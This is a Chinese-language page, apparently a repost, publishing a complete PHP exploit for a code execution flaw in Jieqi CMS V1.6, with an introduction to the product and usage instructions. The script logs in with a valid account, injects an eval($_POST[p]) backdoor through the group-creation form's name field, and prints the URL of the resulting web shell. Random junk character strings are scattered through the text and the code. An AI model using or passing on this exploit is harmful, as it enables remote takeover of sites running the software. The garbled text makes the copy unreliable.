Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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+ L9 j& }; D, t3 b) o% T该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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<?php
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+ H( d- p! U4 X! H! Vprint_r('
' ?: k0 @7 E/ C* D4 U1 q+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
$ G5 o6 ~3 I9 I- t; U* kby flyh4t
3 s! g# R' C: y! p  cmail: phpsec at hotmail dot com
( T6 L7 y! J7 o6 s2 [" x9 Uteam: http://www.wolvez.org
1 p! J9 Y6 Q7 _. G: O% L, \+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
) o7 B' F# J. n* ]7 l: w. L*/ if ($argc < 5) { print_r('
; I+ \% C$ K$ `2 N  q+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
; S' ]& [# g$ O5 B  n( y5 W# fuasename:  a username who can create group
Example:
/ u% U$ U' N) }1 Y- c/ Vphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
. {: U% J1 I- m4 l2 u% ^+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

: P, I0 J$ J( b- H5 W6 m4 ?& z'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
' e9 X1 d3 F4 |6 J* ?-----------------------------23281168279961
2 F3 V) I5 E+ I( M1 {* VContent-Disposition: form-data; name="gcatid"

: U( N( }1 V* l1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
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, s0 W( K  t8 `6 R$ s-----------------------------23281168279961
) Y8 ^& w) B5 M" }. r' {. v) a( {Content-Disposition: form-data; name="gbrief"
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" K/ ]8 z* G! B" }0 N3 `2 `-----------------------------23281168279961--
+ o: G/ f, K+ g- H7 p1 }'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;